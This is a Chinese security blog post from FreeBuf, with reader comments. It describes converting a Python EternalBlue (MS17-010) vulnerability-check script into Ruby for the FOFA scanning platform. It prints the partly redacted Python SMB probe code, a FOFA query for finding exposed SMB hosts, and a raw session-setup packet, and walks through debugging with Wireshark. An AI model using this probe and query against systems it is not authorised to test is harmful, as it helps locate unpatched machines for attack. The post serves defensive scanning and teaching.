蓝砖官网
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
如何转换永恒之蓝(Eternalblue)的POC cc是我表哥2017-06-07金币奖励+15共734507人围观 ,发现 18 个不明物体 特别企划网络安全
这个POC价值20个F币(20F币=300人民币)。最近写了一些POC在FOFA平台拿了点零花钱,不过我更喜欢帮助其他小伙伴,大家一起分享。大牛们写文章越来越少,小牛们只能报团取暖。
刚好,一些客户没有从勒索病毒“永恒之蓝”的阴影中走出来,看FOFA上还没有此POC,我准备写一个。
一开始以为FOFA只支持Web应用层的POC,不能支持网络层的。研究后发现FOFA是支持Ruby的POC,Ruby能做Web编程和系统编程。于是我给自己定了目标:将MS17010的POC录进FOFA里面。
研究Python的shellcode
经过一翻研究,我决定将巡风的POC转成Ruby的POC,FOFA只支持Ruby,不支持Python,这个跟seebug相反。
在t00ls有哥们说我本末倒置了:巡风的POC就是从MSF的EXP转的,而MSF的EXP是Ruby写的,囧。那我还转个啥?
当然不是这样!不是我不能用MSF的shellcode,而是刚学习Ruby,暂时没有这个能力读懂MSF框架的代码,二来巡风的也是将MS17010的exp整合的很好。而其他的Python版本的POC都是按Windows操作系统分类的,要么就是调用方程式黑客武器的那个XML和EXE文件实现的。
而巡风的Python脚本是支持所有Windows操作系统的。
代码如下:(ps:不想看的老司机们用力一划,就下去了)
#-*- coding: UTF-8 -*-
import binascii
import socket
FOFAquery = 'protocol=smb&& banner="windows"'
defget_tree_connect_request(ip, tree_id):
ipc = "005c5c" + binascii.hexlify(ip) + "5c49504324003f3f3f3f3f00"
ipc_len_hex = hex(len(ipc) / 2).replace("0x", "")
smb = "ff534d4275000000001801280000000000000000000000000000729c" + binascii.hexlify(
tree_id) + "c4e104ff00000000000100" + ipc_len_hex + "00" + ipc
tree = "000000" + hex(len(smb) / 2).replace("0x", "") + smb
tree_connect_request = binascii.unhexlify(tree)
return tree_connect_request
defcheck(ip, port, timeout):
negotiate_protocol_request = binascii.unhexlify(
"shellcode区域")
session_setup_request = binascii.unhexlify(
"shellcode区域")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((str(ip), int(port)))
s.send(negotiate_protocol_request)
s.recv(1024)
s.send(session_setup_request)
data = s.recv(1024)
user_id = data[32:34]
session_setup_request_2 = binascii.unhexlify(
"00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify(
user_id) + "shellcode区域")
s.send(session_setup_request_2)
s.recv(1024)
session_setup_request_3 = binascii.unhexlify(
"shellcode区域")
s.send(session_setup_request_3)
data = s.recv(1024)
tree_id = data[32:34]
smb = get_tree_connect_request(ip, tree_id)
s.send(smb)
s.recv(1024)
POC = binascii.unhexlify(
"0000004aff534d422500000000180128000000000000000000000000" + binascii.hexlify(
user_id) + "729c" + binascii.hexlify(
tree_id) + "shellcode区域")
s.send(POC)
data = s.recv(1024)
if "\x05\x02\x00\xc0" in data:
return True
return False
s.close()
except Exception,e:
#print str(e)
return False
defverify(hostinfo):
ip,port = hostinfo.split(":")
result = check(ip,port,5)
return result
if __name__ == '__main__':
print verify("8.8.8.8.230:445")
转为Ruby的shellcode
我根据其思路,将其中的shellcode转化为Ruby语言就达到我的目的了。
FOFA客户端的框架比其他的框架简单,一会我就准备好了代码,可是发现运行的时候卡在这边,百思不得骑姐???
加了begin和rescue..end也没有爆出什么异常。
按Ctrl+c发现连接被重置,但是不科学呀?shellcode完全和Python的一模一样啊。
1.png
检查了几遍程序发现没有语法问题,也没有逻辑问题。
可是之前没有出现这个问题啊,扫描的时候能扫出没有补丁的还有关闭445端口的,但是扫到有漏洞的时候总是卡死在一个界面。
小伙伴看到说:小伙子啊,你这样不给力啊T T。
心怀不惩的我去吃饭,神秘大牛将最后一口饭吃下去之后,抿了下嘴巴,说半小时搞不定来找我。
半小时后,我只能去找他了。
定位问题
下面是他表演的时刻,文笔有限,尽量还原当时的情景。
首先,我将环境给他看了下,他说肯定是你shellcode哪些字符出问题。
我:不可能啊,都是复制粘贴进去的。
他:你能保证你发的包出去就是对的?
我:…
他:来,环境搞好。
我汹汹打开虚拟机
2.png
多么精致的2003R2啊,可惜我就是没有把POC弄好。
首先确认IP地址。很多次我搞错IP,有同感的举手:)。
先用Python检测确定这个系统存在漏洞POC。
3.png
提示True,说明存在漏洞。(值得一提的一点是先发送错误的payload会让之后正确的payload也利用失败,这个时候请重启系统)
那么这时候我们开启Wireshark抓包再次利用一下。
设定如下:
image6.png
将抓取到Python发送的数据包保存为230_Python.pcapng
用Ruby发包,抓取Ruby发送的数据包保存为230_Ruby.pcapng
image7.png
期中Ruby爆出的异常是:An existing connection was forcibly closed by remote host(被远程主机强制断开了,定位到46行。
按照出异常的经验,一般是前面数据包包的shellcode出现问题导致主机主动断开连接。然后我分析了三次数据包,发包和收包。
这个漏洞是基于445端口的SMB服务。
8.png
图:由攻击者发送的第3个SMB包
下图右侧Ruby的POC发送第三个时显示红色Malformed Packet(恶意格式的数据包)
9.png
图:Python和Ruby发送的第3个数据包,正常和异常效果对比
右边是Ruby的包,左边是Python的包。右边变红了,这个比股票变绿了可怕。
10.png
选择第3个由客户端发送的SMB包,右键,Copy(复制)->Byte(位)->OffsetHex。复制出数据包的Hex值发现明显不相同(不相同处要标红)。相同的POCshellcode为何发送的数据包不一样呢?
11.png
图:Python和Ruby发送的数据包内容不一样
而shellcode是一样的
code区域:Python的MS17010利用shellcode
session_setup_request_2 = binascii.unhexlify(
"00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify(
user_id) + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000")
s.send(session_setup_request_2)
s.recv(1024)
code区域:Ruby的MS17010利用shellcode
buf3 = "00000150ff534d4273000000001801280000000000000000000000000000729c" + user_id.unpack(
'H*').first + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000"
buf3 = [buf3].pack('H*')
找到答案
难道是Ruby的Hex解码和Python的Hex解码有差异?相同的shellcode,不同语言,发送不同的数据包。
神秘大牛很确定得告诉我这个是不可能的!问题可能来自这2者语法不同
神秘大牛怀疑是:Python中的切片和Ruby中的字符串截取不一样。
s.send(session_setup_request)
data = s.recv(1024)
user_id = data[32:34]
打开Ruby的调试环境:irb
12.png
定义一个变量a=’10086’
用a[2..4]做一个切片,我们从中可以看出a在内存的位置是从0算起的,共三位,2~4就是“086”
再看看Python
a = "10086"
print a[2:4]
运行结果:
13.png
运行的结果居然是“08”。
Python的切片是最后一位属于界定位,不包含在内。
所以将Ruby中的切片改为:[32:33]就行了。
还有一个小坑:,
Ruby会自动对字符识别做转换,在Python不会,所以Ruby在转换的时候就会报错,解决的方法就是加一个编码转化回ascii。
Code区域:
ifdata.include? "\x05\x02\x00\xc0".force_encoding('ASCII-8BIT')
成就感
总结下,要使用一门语言还是要学习深入一点~
而Ruby我第一次用(/ □ \)
硬着头皮上了~重要的还是细心,一步步解决问题明显很迷人~~。然后放一下扫描的图片。
14.png
图:Ruby的漏洞测试代码调试成功
Ruby语言不但可以支持Web编程,还可以支持系统编程,与Python一样,Python能实现的POC其实Ruby也是可以实现。而FOFA客户端正是支持Ruby的。神秘大牛还说Ruby是妹子用的最多的语言,单身的朋友们入坑吧。
离开时,神秘大牛告诉我他叫:Zwell
福利
文末福利,附上这次的POC,FOFA VIP可以省下25F币了。
链接:http://pan.baidu.com/s/1o791mrC 密码:w3c1
*本文作者vaf,转载请注明来自FreeBuf.COM
cc是我表哥
2 篇文章
等级: 2级
||
上一篇:狄仁杰探案之“永恒之蓝”下一篇:NSA承包商雇员遭FBI逮捕,俄罗斯干预美国大选内部机密文件曝光
这些评论亮了
newdun.com 回复
这广告打的可以!
)14(亮了
lee 回复
就是他给我提供的工具
)7(亮了
百度搜索数据牛 回复
比数据牛还牛
)6(亮了
发表评论已有 18 条评论
sprintfan (2级) 2017-06-07回复 1楼
不明觉厉
亮了(5)
吃错药 (1级) 2017-06-07回复 2楼
前排膜拜表哥~
亮了(4)
newdun.com 2017-06-07回复 3楼
这广告打的可以!
亮了(14)
lee 2017-06-07回复 4楼
就是他给我提供的工具
亮了(7)
楼上炮兵战友 2017-06-07回复 5楼
这是我表哥
亮了(5)
幕刃 2017-06-07回复 6楼
python脚本有人用过吗?
binascii.unhexlify("shellcode区域") 报错:
File "eternalblue_poc_2.py", line 14, in check
negotiate_protocol_request = binascii.unhexlify("shellcode区域")
TypeError: Odd-length string
unhexlify(str)难道不是把二进制形式字符串转换成字符串的吗?
亮了(5)
cc是我表哥 (2级) 2017-06-07回复
@ 幕刃 unhex~~ 68656c6c6f你都转成hello,结果都出来了…
亮了(4)
幕刃 2017-06-07回复 7楼
我知道了,你们就当楼上什么都没有发生
亮了(4)
百度搜索数据牛 2017-06-07回复 8楼
比数据牛还牛
亮了(6)
test 2017-06-08回复 9楼
python脚本是不是不全?
亮了(4)
cc是我表哥 (2级) 2017-06-08回复
@ test 对啊。。。太长了,就删减了shellcode内容。
亮了(3)
温酒 (3级) 爱老婆。不用评论私信,从来不看,喜欢挖坑但是从来不填,系列文... 2017-06-08回复 10楼
那么,问题来了,寻风的poc下载链接呢?文章里面的poc排版和屎一样
亮了(3)
cc是我表哥 (2级) 2017-06-08回复
@ 温酒 表示不能怪我,巡风的POC在巡风里面呀~~
亮了(3)
温酒 (3级) 爱老婆。不用评论私信,从来不看,喜欢挖坑但是从来不填,系列文... 2017-06-08回复
@ cc是我表哥 不如你上传到百度云,岂不乐哉
亮了(4)
温酒 (3级) 爱老婆。不用评论私信,从来不看,喜欢挖坑但是从来不填,系列文... 2017-06-11回复
@ 温酒 https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/MS17_010.py
亮了(1)
平_繁 (1级) 2017-06-09回复 11楼
Ruby是妹子用的最多的语言??醒醒吧
亮了(3)
cc是我表哥 (2级) 2017-06-09回复
@ 平_繁 哈哈哈,不要告诉我python,其实我背地里一直偷偷用python的~~
亮了(1)
yangff 2017-07-06回复 12楼
ruby有..是左闭右闭的
和…是左闭右开的
Python是左闭右开的
就酱
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
cc是我表哥
这家伙太懒,还未填写个人描述!
2
文章数
7
评论数
最近文章
Oreint DB 远程代码执行漏洞
2017.09.21
如何转换永恒之蓝(Eternalblue)的POC
2017.06.07
浏览更多
相关阅读
特别企划 | 网络空间“列国志”:安全领域的政治风云【FB TV】一周「BUF大事件」:苹果一招封杀多数iPhone解锁神器;欧洲议会禁用卡巴斯基产品;OpenBSD计划禁用对Intel CPU超线程的支持FreeBuf助力2018第三届SSC安全峰会,让互联网变得更加美好【FB TV】一周「BUF大事件」:Struts2又曝高危远程代码执行漏洞;维基解密发布CIA系列新工具;MongoDB启示录延续国内影响已扩散,利用“NSA武器库”中漏洞的Wannacry蠕虫勒索软件袭击全球(含修复方案)
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论